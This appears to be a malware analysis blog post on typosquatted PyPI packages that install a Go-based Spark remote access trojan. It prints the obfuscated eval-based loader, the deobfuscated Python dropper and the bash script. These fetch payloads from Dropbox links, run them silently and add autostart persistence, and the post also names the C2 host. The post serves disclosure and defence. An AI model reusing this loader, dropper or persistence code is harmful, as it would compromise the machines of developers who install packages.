Phylum Discovers Go-Based RAT “Spark” Being Distributed on PyPI
On 8 February 2023 at 21:25:00 UTC, Phylum’s automated risk detection platform alerted us to the publication of pycolured
on PyPI, and we immediately notified the PyPI maintainers. As we were digging deeper into the details of the package, our system also alerted us to the publication of pycolurate
and colurful
which bore similar hallmarks and appear to be from the same campaign.
Starjacking or not?
Numerous recent attempts to publish malware on PyPI have started by taking an existing package and then surreptitiously slipping a bit of malware into them. In this case, the malware author used the colored
package as a base. Initially, we were tempted to label this as yet another starjacking - an illegitimate package posing as a legitimate package that has a high number of stars on GitHub. However, colored
only has 20 stars, and so we refer to packages like pycolured
as a spork - a spoof of a fork of a relatively obscure package.
We also observed that the malware author published the malicious packages to PyPI with a very similar username to the legitimate author of the legitimate colored
package. The legitimate author’s username is “dslackw” and the malware was published under the username “dslackw12”.
Peeling back the layers of obfuscation
In an obvious attempt to hide the malicious payload in pycolured
, the first stage of malware is buried 436 lines deep into the file colored.py
where we find the following:
def aovcpeoTwvocpvTmcvna(aocpeaTeocpvTacva):
aocpeaTneocpvTacva = 9
while aocpeaTneocpvTacva > 6:
aoccpeaTneocpvTacva = aocpeaTeocpvTacva.copy()
for aovcpeaTneocpvTacva in range(len(aocpeaTeocpvTacva)):
aoccpeaTneocpvTacva[aovcpeaTneocpvTacva] = aocpeaTeocpvTacva[len(aocpeaTeocpvTacva) - aovcpeaTneocpvTacva - 1] + 3
aocpeaTeocpvTacva = aoccpeaTneocpvTacva
aocpeaTneocpvTacva -= 1
return aocpeaTeocpvTacva
aovcpeaTneocpvTacvna = " \liK4cc\_j#pg%\c`]&gdk&*ef_kpgccXZ%jj\ZfigYlj ke`ig1ifii<[elf=kfE\c`=kg\Zo\ ke`igeS1kg\Zo\eS K8G\mfd\i%jfeS1pikeS1 \c`]Vj`% K8G_kXG]`\k`in%] eS \liK4cc\_j#S(5)ccle&m\[&5_j%_kXg%&\kX[gl&Y[]jd%&I<jl&\df_&_jxysccxz%jj\zfigyljes \c`]vcxzfc#cilv\kfd\i\m\`ik\icil%kj\lh\ies_j%_kxg%&\"?k8g4\c`]vcxzfces_j%xc`qfd&ocle_ze(g="" \^)_^&j&dfz%ofygfi[%c[&&1jgkk_4cilv\kfd\i\k`in%]="" es1\jc\es="" ke`iges1="" \c`]vj`%="" ?k8g_kxg]`es="" ?k8gji`[\\bxd%jfes1kj`o<j`kfe]`es="" ?k8gjkj`o\%_kxg%jf4kj`o<j`espg%\c`]&gdk&4k8ges\kx[gl&y[]jd%&\"fcc\_\"&\df_&4?k8ges="" e`^fck\^%jf4fcc\_eskj\lh\ikifgd`y`ccildfi]es_kxgkifgd`y`c_kxgdfi]esjj\zfigyljkifgd`esjfkifgd`\k`in%]1]jx="" n#pg%\c`]&gdk&e\gf_k`n1pik1="" ole`c_k`njkixkj%="" d\kjpj%dif]kxcg]`jj\zfigylj#dif]kxcg#jfkifgd`"="" aovcpeotneocpvtmcvna="bytearray(aovcpeaTneocpvTacvna," "utf-8")="" aovcpeotnvocpvtmcvna="aovcpeoTwvocpvTmcvna(aovcpeoTneocpvTmcvna)" aovcpeatneocpvtmcvna="aovcpeoTnvocpvTmcvna.decode("utf-8")" eval(compile(aovcpeatneocpvtmcvna,'<string="">','exec'))</jl&\df_&_jxysccxz%jj\zfigyljes>
The strange variable naming convention immediately reminded us of an attack that Phylum discovered in November 2022. For comparison, here’s a snippet of colors.py
from the coloroma
package from our November report where the obfuscation scheme is clearly using the same length of variables, set of letters, and capitalization:
apcoeaocvaeav="856823417240988574"
oapvaeaearar="sds444545455asdv"
aodaopvaeaavad="7454631101649255536276263705"
oapvaeaearer="84655449798483886740"
wopvEaTEcopFEavc ="QXFW@G\x14A[S@VVJU?^YC^DL\x14CBQDAWVSAC8\\P\x14A\\PB_XFX\x1aEJBEU\\\x1e\x1d\x17AATGGEE^BZ\x1e\x11{Y[D@\x12\x1a\x0b:\x10\x13\x17\x16\x15\x11\x15\x13M@H\x0e2\x13\x14\x19\x18\x15\x16\x13\x15\x10\x10\x10\x18B_LZ\x13[AR\\\x1c\x17\x16LUE\x18RZ]S\x16DI\x10\x1f\x14\x14O\x12\x1f\x12QA\x15P\x0e;\x10\x11\x16\x19\x17\x14\x15\x14\x16\x13\x11\x11\x10\x11\x16\x14_\x1cBG\\GS\x1a\x15__F\\ED\x15^K\x10o_Y]CXDA\x11FF[BC[[VGJ\x18iXUG_]\x10HTBP^ZV\x11^_D_KL\x18eV@[\x11jVRBX^\x14FJYZ[R\x12\\[D^BE\x16KRE@QEG\x11m^\x13\x1f>\x19\x12\x15\x15\x15\x13\x16\x12\x17\x16\x12\x16\x13\x17\x10\x15W\x16GAXDU\x1b\x15^P]Y\\\x19\x0f\x11[K\x1dS\\LYYT\\^\x18\x19\x18iX\x1a\x1b9\x14\x11\x17\x12\x14\x10\x19\x18\x18\x15\x17\x14\x13\x11\x16\x18R\x1e@A]G]\x1d\x14bqf}\x16\t\x11\x17\x1e^VZQ\x1a\x13\x16\x18\x11YU]Z[\x19\x19\x15\x12\x1a\x1d[]M_^ZR\x18v\\C]v\\I\x17l]\x15\x1f?\x11\x15\x13\x19\x12\x11\x14\x18\x13\x14\x19\x18\x15\x16\x13\x15V\x1eGJ\\B]\x1a\x11dpc\x12\x14\r\x19\x1f\x17AZD\x1cW_TQ\x1eGJ\x13oV\x17\x1f8\x10\x12\x15\x16\x14\x11\x10\x11\x16\x19\x17\x14\x15\x14\x16\x13W\x1fGC_@\\\x1a\x17\\FvN[DB\x12\x0b\x13XC\x1bAYD[\x1fUHZDBF\x19ermz\x18\x14d]\x16\x102\x15\x16\x13\x15\x10\x10\x10\x18\x15\x16\x18\x12\x13\x14\x11\x17T\x1aGKQLP\x1f\x16ZW\x16V[D\x17ZGv@\\EF\nn[\x14\x1d;\x10\x11\x16\x19\x17\x14\x15\x14\x16\x13\x11\x11\x10\x11\x16\x14_\x1cBG\\GS\x1a\x15\x16\x12\x16\x13\x17\x10\x15\x11WC\x1d\\Q[VS_GB\x1dcxfy\x1d\x18oZ\x1b\x11?\x16\x13\x15\x10\x10\x10\x18\x15\x16\x18\x12\x13\x14\x11\x17\x12R\x1eNJQAR\x1c\x11XP\x18dQC[\x1ccya~\x1b\x1e[FiRX\\T\x1e\x10\r\x14iZ\x14\x1a;\x11\x10\x11\x16\x14\x19\x12\x15\x15\x15\x13\x16\x12\x17\x16\x12P\x1d@B\\E]\x18\x11\x11\x10\x10\x13\x17\x16\x15\x11\x15\x13\x19BC]VG\x1c\x1b\x1a\x1c\x16o[\x12\x19:\x18\x15\x16\x18\x12\x13\x14\x11\x17\x12\x14\x10\x19\x18\x18\x15Q\x1aDC_LQ\x18\x15VX@]\x0f\x16n^\x10\x1c<\x14\x11\x10\x11\x16\x19\x17\x14\x15\x14\x16\x13\x11\x11\x10\x11P\x1aN@\\AP\x1b\x14\x12\x17\x16\x12\x16AR]ZE]oFC\\\x10\x0e\x10^AEE@\x03\x1d\x1ePT\x1dPKWET\\MECUJVYVFVZE\x19Q[]\x16K\x17WGR\x03RPBR\x02_\x06\x03\x05W\x06\x19SS]TFqp_GwVAUTF\x18@Y\x16l_\x14\x1d3\x12\x15\x15\x15\x13\x16\x12\x17\x16\x12\x16\x13\x17\x10\x15\x11^\x1eDCYDV\x1f\x14\x15\x11\x15\x13\x19^^WY_k_QYS\x13\x08\x10`ql}\x1d\x1f\x1dCUE_\x1cGX\x1e\x18d[\x15\x1d9\x11\x16\x18\x14\x10\x17\x13\x14\x13\x18\x15\x16\x12\x10\x12\x15P\x1aFBXB\\\x1f\x16\x15\x14\x16\x13\x11CU@CQJF\x1b@G_DWCD[SER\x18GTU_GToEA[\x1a\x15]ZPX^nRQ_Q\x10\x18iX\x11\x1c:\x10\x10\x18\x15\x16\x18\x12\x13\x14\x11\x17\x12\x14\x10\x19\x18^\x1b@FZES\x10\x16\x10\x17\x13\x14\x13K@TBB]VSGB\x1eRWU[\x1ci\x16TRBY\x10\x1e^[TW\x1a\x11``s`\x18\x18_YI^\\YP\x17vZCUv\\O\x19EPA[\x17AY\x14\x06\x1cP\\N\x1aXFY\\\x10\x02\x06\x13\x07d\x10\x1f\x14B_WX\\\x04lJ@R\x1d\x13mX\x1a\x1d:\x17\x13\x14\x13\x18\x15\x16\x12\x10\x12\x15\x16\x14\x11\x10\x11P\x17@F\\@S\x1b\x13\x11\x10\x11\x16\x14PT\x15eTG^\x1agwf\x1f\x1d^CjWQ\\V\x19\x19\n\x13kX\x17\x18?\x13\x19\x12\x11\x14\x18\x13\x14\x19\x18\x15\x16\x13\x15\x10\x10V\x16BDQFV\x1c\x13\x17\x12\x14\x10\x19\x18\x18\x15\x17@AH\x0cdZ\x10\x17\x13\x14\x13\x18\x15\x16\x12\x10\x12ZE\x1aCU\\YOR\x1ceub\x1am_\x12\x18<\x14\x19\x12\x15\x15\x15\x13\x16\x12\x17\x16\x12\x16\x13\x17\x10S\x1fOBZEU\x18\x11\x17\x16\x15\x11\x15\x13\x19\x12\x11Q@PQIL\x0fj]\x15\x10\x10\x10\x18\x15\x16\x18\x12\x13\x14AE[ZD\x11\x11\x1a\x1c=>\x13\x11\x16\x18\x14\x10\x17\x13QK[PFF\x10t\\ZQ\x7f_EpVBZQqDA^C\n;\x16\x14\x19\x12\x15\x15\x15\x13\x16\x12\x17\x16BDZYD\x1d\x13\x1a\x199\x11\x10\x10\x13\x17\x16\x15\x11FF[BC[[VGJ\x16VW_Y\x18\x12@AA^W\\\x00\x14\x1eC_D\x1f_QTP\x19DJ\x11\x10\x1a\x18\x10D[Q_T\x08b@EW\x1c<q]ct\x0c3\x17\x14\x15\x14fax_d\x19\x14\x16\x108" adaovapcaeab="180310037651539214834985635000" adaovapvaea="316840734385620256410169" apcuaocvaeav="3648171150096398278507459902844105" aodaopvaavad="60660394255718142537832422223053503" wopveatecodfeavc="\\^@\\BL\x18AZYFS[ET:^]H[DA\x15GA[GKWW]@K2_Q\x14@TYGWZDZ\x1cANEMPT\x1b\x10\x1eELV@B@F^GX\x1e\x12z_^FA\x16\x1b\x0f?\x17\x11\x18\x11\x14\x12\x15\x13CJJ\x08>\x12\x12\x12\x12\x13\x10\x15\x13\x15\x10\x13\x15DYGX\x18WASV\x1a\x12\x1bCT@\x18VQXS\x1bEM\x13\x15\x17\x1eO\x13\x11\x13YK\x16Q\x0e:\x18\x18\x13\x11\x15\x16\x17\x12\x12\x17\x16\x19\x15\x19\x13\x19V\x18OE[BV\x19\x15Z]F_DB\x10\\J\x14n[\\ZAWC@\x12FFUHA]WWAA\x12o^SAZ]\x13ERD[\\QZ\x11_UBZFC\x19`VDP\x14j[SF[T\x17LJXTZZ\x18_ZD_JL\x13CPGBWAC\x16e[\x1b\x1a3\x10\x16\x18\x17\x12\x16\x13\x11\x17\x13\x10\x16\x10\x16\x16\x10U\x17C@\\AR\x19\x1aYQ^Y\\\x17\x05\x13]G\x1cUWF__RZ[\x18\x1a\x15o^\x11\x192\x18\x11\x16\x18\x12\x15\x14\x17\x19\x10\x17\x10\x18\x14\x16\x15S\x1aCK^M]\x1c\x1acyl~\x17\t\x10\x1f\x17[^XS\x18\x15\x12\x1c\x16QPU_V\x10\x1d\x18\x10\x1d\x18^^MZ\\ZQ\x19pYA\\r]M\x12k_\x1a\x18>\x12\x15\x13\x17\x18\x13\x12\x14\x12\x12\x12\x12\x13\x10\x15\x13S\x1eDGZDV\x18\x1ahpb\x18\x12\x08\x14\x10\x16DZ@\x17R_YP\x1aD@\x10eV\x16\x119\x18\x18\x16\x17\x14\x10\x18\x18\x13\x11\x15\x16\x17\x12\x12\x17P\x17BKZMU\x1e\x1a^AsKXDG\x10\x0b\x10YE\x1eCX@Z\x1bPOXKEG\x1aercp\x1a\x12h\\\x10\x1b8\x13\x10\x15\x13\x15\x10\x13\x15\x13\x10\x13\x10\x18\x18\x11\x16^\x1cBF^MU\x1f\x12QR\x16[Z@\x14PD|@]KG\x02dX\x15\x1d:\x18\x18\x13\x11\x15\x16\x17\x12\x12\x17\x16\x19\x15\x19\x13\x19V\x18OE[BV\x19\x15\x13\x10\x16\x10\x16\x16\x10\x13VG\x1cXT\\T\\XFA\x1dcvl{\x1b\x14n\\\x10\x1b9\x10\x15\x13\x15\x10\x13\x15\x13\x10\x13\x10\x18\x18\x11\x16\x18T\x1bCEPDR\x18\x1a]P\x15eU@Q\x1fiy`p\x1a\x16QEhRYT]\x1b\x18\x0f\x16k\\\x10\x1e<\x19\x15\x19\x13\x19\x10\x16\x18\x17\x12\x16\x13\x11\x17\x13\x10P\x1eADYG\\\x1c\x10\x15\x15\x17\x11\x18\x11\x14\x12\x15\x13\x17HA[ZF\x1a\x10\x10\x1a\x10i]\x17\x199\x15\x13\x10\x13\x10\x18\x18\x11\x16\x18\x12\x15\x14\x17\x19\x10Q\x1eOF_AP\x1c\x16\\[J]\x0e\x18oV\x1a\x1f=\x14\x10\x18\x18\x13\x11\x15\x16\x17\x12\x12\x17\x16\x19\x15\x19U\x17GDQCW\x1e\x11\x11\x17\x13\x10\x16BS[_G\\kGGY\x17\x0c\x1fY@FE@\r\x17\x1cVX\x1cV@]CRZK@CVGP_]D]VE\x18[]X\x1bD\x16RGV\x08WPOS\x06\\\x0c\x00\x0fW\x07\x17R[WWGqqWNr^CWV@\x1cD^\x1eiW\x11\x10:\x16\x18\x17\x12\x16\x13\x11\x17\x13\x10\x16\x10\x16\x16\x10\x13_\x1aEG\\CT\x10\x13\x14\x12\x15\x13\x17T\\QU^mT[_U\x15\x0e\x15`ra{\x1b\x14\x1fHYE^\x16A]\x13\x17e^\x15\x192\x14\x16\x15\x15\x14\x14\x19\x17\x19\x18\x14\x18\x13\x18\x18\x16Q\x1aGJQGT\x1d\x14\x17\x12\x12\x17\x16KPHF\\CB\x16B@ZATCAYSFS\x1eBVT[FPjBCT\x1d\x14^ZPVTlT]^W\x1b\x12o^\x17\x1a?\x10\x13\x15\x13\x10\x13\x10\x18\x18\x11\x16\x18\x12\x15\x14\x17_\x1e@BQ@S\x1d\x17\x14\x14\x19\x17\x19KAZCJWURGC\x16[R]Y\x1ek\x10PVEQ\x15\x16[V]S\x17\x13gevc\x18\x1d]YJ_Z\\R\x16r[GPq^@\x1eDSA[\x19K[n\x16\x1e\x12AZV\\Y\x0eaBFP\x1a\x10o^\x1a\x11;\x16\x18\x12\x15\x14\x17\x19\x10\x17\x10\x18\x14\x16\x15\x15\x14R\x17@KQ@]\x1b\x1a\x18\x16\x17\x14\x10Q^\x13aTB_\x1abvb\x10\x1bP@fV_TR\x1a\x1f\t\x11k]\x12\x1f:\x16\x16\x10\x13\x19\x14\x12\x15\x15\x17\x11\x18\x11\x14\x12\x15U\x19OA[@W\x1a\x10\x12\x13\x10\x15\x13\x15\x10\x13\x15GBJ\ndV\x11\x16\x18\x12\x15\x14\x17\x19\x10\x17\x10WG\x18GPY[OR\x11hul\x1adV\x14\x1e>\x10\x18\x18\x13\x11\x15\x16\x17\x12\x12\x17\x16\x19\x15\x19\x13_\x1eAJ^FS\x1b\x13\x17\x13\x10\x16\x10\x16\x16\x10\x13\\LQPEC\x0bd_\x14\x12\x15\x13\x17\x18\x13\x12\x14\x12\x12B@Z^A\x1b\x1c\x12\x1a?9\x10\x13\x10\x18\x18\x11\x16\x18WMWRID\x17vQXS{Z@rVBW\\qJAWJ\x0c=\x14\x10\x18\x18\x13\x11\x15\x16\x17\x12\x12\x17FK\\WG\x11\x12\x14\x11=\x12\x16\x13\x11\x17\x13\x10\x16CCT@AVWWFF\x19RY]X\x1a\x17CNL[]Z\x01\x12\x1dF^@\x1aU\\\\V\x1bCI\x13\x16\x1a\x14\x11EPWYX\nmBBU\x11>SYFQ\x0e3\x17\x19\x18\x14HAQVB\x1f\x16\x12\x112" iopveoeaaeavocp="apcoeaocvaeav+adaovapvaea+aodaopvaeaavad+adaovapcaeab" uocpeatacovpe="len(wopvEaTEcopFEavc)" oioeateacvpae="" for="" fapceaocva="" in="" range(uocpeatacovpe):="" nopcvaeaopcteapcoteac="wopvEaTEcopFEavc[fapcEaocva]" qqoeapvteaocpocivnva="iOpvEoeaaeavocp[fapcEaocva" %="" len(iopveoeaaeavocp)]="" +="chr(ord(nOpcvaEaopcTEapcoTEac)" ^="" ord(qqoeapvteaocpocivnva))="" eval(compile(oioeateacvpae,="" '<string="">', 'exec'))</q]ct\x0c3\x17\x14\x15\x14fax_d\x19\x14\x16\x108">
These similarities lead us to suspect that this is the same author.
Turning our attention back to pycolured
we can see there’s function defined with the odd variable naming convention, a long bytestring, and some decode
and eval
going on. Though this logic is different than the coloroma
package from last November, the level of sophistication is commensurate. Renaming identifiers reveals that the long bytestring has been mangled with a simple offset in a loop that reverses the string each iteration. The decoded UTF-8 string is then compiled and executed.
def reverse_and_add_3(original_list):
for iteration_count in range(3):
reversed_list = original_list.copy()
for i in range(len(original_list)):
reversed_list[i] = original_list[len(original_list) - i - 1] + 3
original_list = reversed_list
return original_list
payload = " \liK4cc\_j#pg%\c`]&gdk&*ef_kpgccXZ%jj\ZfigYlj ke`i---TRUNCATED---"
plaintext = reverse_and_add_3(bytearray(payload, "utf-8")).decode("utf-8")
eval(compile(plaintext,'','exec'))
Working through this obfuscation reveals the code that’s getting sent to eval
(my formatting):
import os,platform,subprocess
if platform.system().startswith("Linux"):
try:
with open('/tmp/file.py', 'w') as f:
f.write("import os \nimport subprocess \nfrom pathlib import Path \nfrom urllib import request \nhello = os.getlogin() \nPATH = '/home/' + hello + '/.msfdb/update'\nPAT = '/tmp/file.py'\nisExist = os.path.exists(PATH) \nif not isExist:\n os.makedirs(PATH) \nif Path(PATH).is_file(): \n print("") \nelse: \n")
f.write(" remote_url ='https://dl.dropbox.com/s/gh2ge8p1nchnulx/mozila.sh'\n local_file = PATH+'/.path.sh' \n request.urlretrieve(remote_url, local_file) \n subprocess.call(\"bash /home/$USER/.msfdb/update/.path.sh >/dev/null 2>&1\", shell=True) \n")
f.write(" if Path(PAT).is_file(): \n try:\n os.remove(PAT)\n except:\n print()")
except FileNotFoundError:
print("")
subprocess.call("python3 /tmp/file.py &", shell=True)
It’s evaling more Python code that first checks to see if the machine is running Linux. If so, it then writes un-obfuscated Python to a temp file called file.py in the machine’s /tmp directory which contains the following (my formatting):
import os
import subprocess
from pathlib import Path
from urllib import request
hello = os.getlogin()
PATH = '/home/' + hello + '/.msfdb/update'
PAT = '/tmp/file.py'
isExist = os.path.exists(PATH)
if not isExist:
os.makedirs(PATH)
if Path(PATH).is_file():
print("")
else:
remote_url ='https://dl.dropbox.com/s/gh2ge8p1nchnulx/mozila.sh'
local_file = PATH+'/.path.sh'
request.urlretrieve(remote_url, local_file)
subprocess.call("bash /home/$USER/.msfdb/update/.path.sh >/dev/null 2>&1", shell=True)
if Path(PAT).is_file():
try:
os.remove(PAT)
except:
print()
This code gets the user’s username first and then creates a folder structure in '/home/<username>/.msfdb/update'
if it doesn’t already exist. Then it grabs a shell script from a dropbox link and saves it locally to a file called .path.sh
in the newly created folder. Then it uses subprocess.call
to launch the bash script and it snuffs all output into /dev/null
to prevent the user from seeing anything. And finally it removes the /tmp/file.py
dropper stage code.
We grabbed the mozila.sh
script and found this:
he=$(echo $USER)
DIR=/home/$he/.msfdb/update
Fil=/home/$he/.msfdb/update/automsf
DIR1=/home/$he/.config/autostart
Fil1=/home/$he/.config/autostart/linuxos.desktop
function hello() {
if [ -d "$DIR" ];
then
if [ -f "$Fil" ];
then
echo ""
else
wget https://dl.dropbox.com/s/uegd0iz8okshs65/abcd -O /home/$he/.msfdb/update/automsf >/dev/null 2>&1
chmod +x /home/$he/.msfdb/update/automsf
/home/$he/.msfdb/update/automsf &
fi
else
mkdir -p /home/$he/.msfdb/update
wget https://dl.dropbox.com/s/uegd0iz8okshs65/abcd -O /home/$he/.msfdb/update/automsf >/dev/null 2>&1
chmod +x /home/$he/.msfdb/update/automsf
/home/$he/.msfdb/update/automsf &
fi
if [ -d "$DIR1" ];
then
if [ -f "$Fil1" ];
then
echo ""
else
echo "[Desktop Entry]
Encoding=UTF-8
Name=MyScript
Comment=MyScript
Icon=gnome-info
Exec=/home/$he/.msfdb/update/automsf
Terminal=false
Type=Application
Categories=
X-GNOME-Autostart-enabled=true
X-GNOME-Autostart-Delay=0" >> ~/.config/autostart/linuxos.desktop
fi
else
mkdir -p ~/.config/autostart/
echo "[Desktop Entry]
Encoding=UTF-8
Name=MyScript
Comment=MyScript
Icon=gnome-info
Exec=/home/$he/.msfdb/update/automsf
Terminal=false
Type=Application
Categories=
X-GNOME-Autostart-enabled=true
X-GNOME-Autostart-Delay=0" >> ~/.config/autostart/linuxos.desktop
fi
}
chmod +x /home/$he/.msfdb/update/path.sh
hello >/dev/null 2>&1
This code downloads an executable file called abcd
from another dropbox link and saves it to a local file called autosmf
in the home/<username>/.msfdb/update/
folder. It then tries to establish persistence by adding this executable to a Linux autostart folder.
The abcd
Binary
The binary itself is stripped which increases the difficulty of analysis but as a first pass we can just look at its strings. Doing this we were able to determine that it was built with Golang. We found several references to open-source Go modules and started to map them out.
There are some very useful tools out there that can help us analyze stripped Go binaries with Ghidra. Redress from goretek, for example, allowed us to list the packages used by the binary.
Packages:
Name Version
---- -------
Spark/client/common
Spark/client/config
Spark/client/core
Spark/client/service/desktop
Spark/client/service/file
Spark/client/service/process
Spark/client/service/screenshot
Spark/client/service/terminal
Spark/modules
Spark/utils
Spark/utils/cmap
main
Vendors:
Name Version
---- -------
crypto/ed25519/internal/edwards25519
crypto/ed25519/internal/edwards25519/field
crypto/elliptic/internal/fiat
crypto/elliptic/internal/nistec
github.com/creack/pty v1.1.18
github.com/denisbrodbeck/machineid v1.0.1
github.com/gen2brain/shm v0.0.0-20210511105953-083dbc7d9d83
github.com/gorilla/websocket v1.5.0
github.com/imroc/req/v3 v3.8.2
github.com/imroc/req/v3/internal v3.8.2
github.com/imroc/req/v3/internal/ascii v3.8.2
github.com/imroc/req/v3/internal/charsets v3.8.2
github.com/imroc/req/v3/internal/socks v3.8.2
github.com/imroc/req/v3/internal/util v3.8.2
github.com/jezek/xgb v0.0.0-20210312150743-0e0f116e1240
github.com/jezek/xgb/shm v0.0.0-20210312150743-0e0f116e1240
github.com/jezek/xgb/xinerama v0.0.0-20210312150743-0e0f116e1240
github.com/jezek/xgb/xproto v0.0.0-20210312150743-0e0f116e1240
github.com/json-iterator/go v1.1.12
github.com/kataras/golog v0.1.7
github.com/kataras/pio v0.0.10
github.com/kataras/pio/terminal v0.0.10
github.com/kbinani/screenshot v0.0.0-20210720154843-7d3a670d8329
github.com/kbinani/screenshot/internal/util v0.0.0-20210720154843-7d3a670d8329
github.com/kbinani/screenshot/internal/xwindow v0.0.0-20210720154843-7d3a670d8329
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd
github.com/modern-go/reflect2 v1.0.2
github.com/shirou/gopsutil/v3/cpu v3.22.2
github.com/shirou/gopsutil/v3/disk v3.22.2
github.com/shirou/gopsutil/v3/host v3.22.2
github.com/shirou/gopsutil/v3/internal/common v3.22.2
github.com/shirou/gopsutil/v3/mem v3.22.2
github.com/shirou/gopsutil/v3/net v3.22.2
github.com/shirou/gopsutil/v3/process v3.22.2
github.com/tklauser/go-sysconf v0.3.9
github.com/tklauser/numcpus v0.3.0
golang.org/x/net/html v0.0.0-20220111093109-d55c255bac03
golang.org/x/net/html/charset v0.0.0-20220111093109-d55c255bac03
golang.org/x/net/http/httpguts v0.0.0-20220111093109-d55c255bac03
golang.org/x/net/http2/hpack v0.0.0-20220111093109-d55c255bac03
golang.org/x/net/idna v0.0.0-20220111093109-d55c255bac03
golang.org/x/net/publicsuffix v0.0.0-20220111093109-d55c255bac03
golang.org/x/sys/unix v0.0.0-20220111092808-5a964db01320
golang.org/x/text/encoding v0.3.7
golang.org/x/text/encoding/charmap v0.3.7
golang.org/x/text/encoding/htmlindex v0.3.7
golang.org/x/text/encoding/ianaindex v0.3.7
golang.org/x/text/encoding/internal v0.3.7
golang.org/x/text/encoding/japanese v0.3.7
golang.org/x/text/encoding/korean v0.3.7
golang.org/x/text/encoding/simplifiedchinese v0.3.7
golang.org/x/text/encoding/traditionalchinese v0.3.7
golang.org/x/text/encoding/unicode v0.3.7
golang.org/x/text/internal/language v0.3.7
golang.org/x/text/internal/language/compact v0.3.7
golang.org/x/text/internal/tag v0.3.7
golang.org/x/text/language v0.3.7
golang.org/x/text/runes v0.3.7
golang.org/x/text/secure/bidirule v0.3.7
golang.org/x/text/transform v0.3.7
golang.org/x/text/unicode/bidi v0.3.7
golang.org/x/text/unicode/norm v0.3.7
NCC Group has some other useful tools for extracting strings in Go binaries and CUJO AI labs has additional tools for strings and recovering function names. We were able to determine a function of interest for the destination address.
This function contains an Sprintf function call at address 0x4d62d6. Sprintf and similar print functions are excellent spots to analyze as they often hold important data. Debugging the binary with GDB and setting a breakpoint at that address yields the following:
(gdb) x/s $rsi
0xc00002c2a0: "dc-symantec.at.ply.gg:30924"
The binary is attempting to make contact with this domain. Performing a quick nslookup:
$ nslookup dc-symantec.at.ply.gg
Non-authoritative answer:
Name: dc-symantec.at.ply.gg
Address: 209.25.140.229
Navigating directly to the address above redirects to https://playit.gg/
which is “a global proxy that allows you to host a server without port forwarding”. The intended use case of this service appears to be hosting online game servers, however, they also offer TCP and UDP tunneling, dual stacked IPv4 and IPv6 network, continuous port ranges, and static IPs and ports. Exactly how this malware is using this service remains unclear at this time but it’s possible they may be using this as their C2.
Conclusion
At this time, we believe that the abcd
binary in question is most likely Spark or very close variant as the functions and packages used line up with our static and dynamic analysis. Spark (not to be confused with Apache Spark) is, according to its README, “a web-based, cross-platform and full-featured Remote Administration Tool (RAT) written in Go that allows you control all your devices anywhere”.